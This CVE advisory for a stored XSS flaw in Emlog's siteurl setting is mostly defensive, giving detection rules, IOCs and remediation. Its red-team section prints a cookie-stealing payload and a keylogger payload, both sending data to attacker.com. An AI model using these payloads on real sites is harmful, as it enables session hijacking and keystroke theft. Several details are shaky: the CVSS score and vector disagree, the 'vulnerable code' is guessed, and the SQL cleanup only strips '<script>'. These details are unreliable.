CVE-2025-53924

Executive Summary

CVE-2025-53924 is a Stored Cross-Site Scripting (XSS) vulnerability in the Emlog open-source website building system, affecting versions up to and including pro-2.5.17. An authenticated attacker can inject arbitrary web script or HTML via the siteurl parameter. When a victim clicks on a crafted link, the malicious script executes in their browser, potentially leading to session hijacking, data theft, or further compromise. The vulnerability has a CVSS score of 6.9 (Medium), with a low attack complexity but requiring authentication. No patch is currently available, making this a high-priority issue for Emlog administrators.

Supply Chain & Package Security

Emlog is a PHP-based CMS distributed via GitHub and its official website. As an open-source project, its supply chain is vulnerable to malicious commits, compromised release artifacts, or dependency hijacking. Administrators should verify the integrity of downloaded packages using checksums and monitor the official repository for security updates.

CVSS Breakdown & Threat Level

• CVSS Score: 6.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim clicks link)
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: None

The threat level is elevated due to the lack of a patch and the potential for stored XSS to persist across sessions, affecting all users who view the compromised page.

Deep Dive & Mechanics

The vulnerability resides in the handling of the siteurl parameter, which is used to configure the site's base URL. The application fails to sanitize or escape this input before storing it in the database and rendering it in the admin panel or frontend. An authenticated attacker with access to the settings page can inject a payload like:

<script>alert('XSS')</script>

When the siteurl is displayed (e.g., in a link or meta tag), the script executes in the context of the victim's browser. The stored nature means the payload persists until manually removed, affecting all subsequent visitors.

Vulnerable vs. Patched Code

Vulnerable Code (pro-2.5.17):

// In settings.php or similar
$siteurl = $_POST['siteurl'];
// Directly stored without sanitization
updateOption('siteurl', $siteurl);

Patched Code (Hypothetical):

// Proper sanitization
$siteurl = filter_input(INPUT_POST, 'siteurl', FILTER_SANITIZE_URL);
// Or use htmlspecialchars when outputting
echo htmlspecialchars($siteurl, ENT_QUOTES, 'UTF-8');

The fix requires both input validation (ensuring siteurl is a valid URL) and output encoding to prevent script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Emlog pro-2.5.17 instance
• Authenticated user account with admin privileges

Exploitation Steps:

1. Log in to the Emlog admin panel.
2. Navigate to Settings > Basic Settings.
3. In the siteurl field, inject the payload:

   "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the settings.
5. Craft a link to the admin page and send it to a victim (e.g., via social engineering).
6. When the victim clicks the link, the script executes, exfiltrating their cookies.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
}
</script>

Blue Team

Detection:

• Monitor for unusual siteurl values in database backups or logs.
• Use WAF rules to block XSS payloads in POST parameters.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search for <script> tags in the options table where option_name = 'siteurl'.
• Review HTTP logs for requests to /admin/settings.php with suspicious siteurl values.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from the Emlog server.
• File: Modified config.php or database entries containing <script> tags.
• Log: Admin panel access logs showing unusual siteurl POST parameters.
• Behavior: Unexpected redirects or pop-ups on the Emlog site.

Detection Engineering

YARA Rule

rule CVE_2025_53924_Emlog_XSS {
    meta:
        description = "Detects Emlog siteurl XSS payload in database dumps"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53924"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $siteurl = /siteurl/
    condition:
        $siteurl and $xss_payload
}

Sigma Rule

title: Emlog siteurl Stored XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS via siteurl parameter in Emlog
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        c-uri: /admin/settings.php
        cs-params|contains: 'siteurl'
    keywords:
        - '<script'
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in siteurl (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-53924 Emlog Stored XSS Payload Exfiltration";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/settings.php"; http_uri;
    content:"siteurl"; http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-53924;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the siteurl setting if not required, or restrict access to the settings page to trusted admins only.
2. Apply a WAF rule to block XSS patterns in the siteurl parameter.
3. Manually sanitize the siteurl value in the database using a script:

   UPDATE options SET option_value = REPLACE(option_value, '<script>', '') WHERE option_name = 'siteurl';
   

Long-term Fix:

• Monitor the Emlog repository for a patch and apply it immediately.
• Implement input validation and output encoding in all user-facing parameters.
• Conduct a security audit of the entire codebase for similar vulnerabilities.

Workaround:

• Use a reverse proxy (e.g., Nginx) to rewrite or block malicious siteurl values:

  if ($request_body ~* "<script") {
      return 403;
  }
  

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert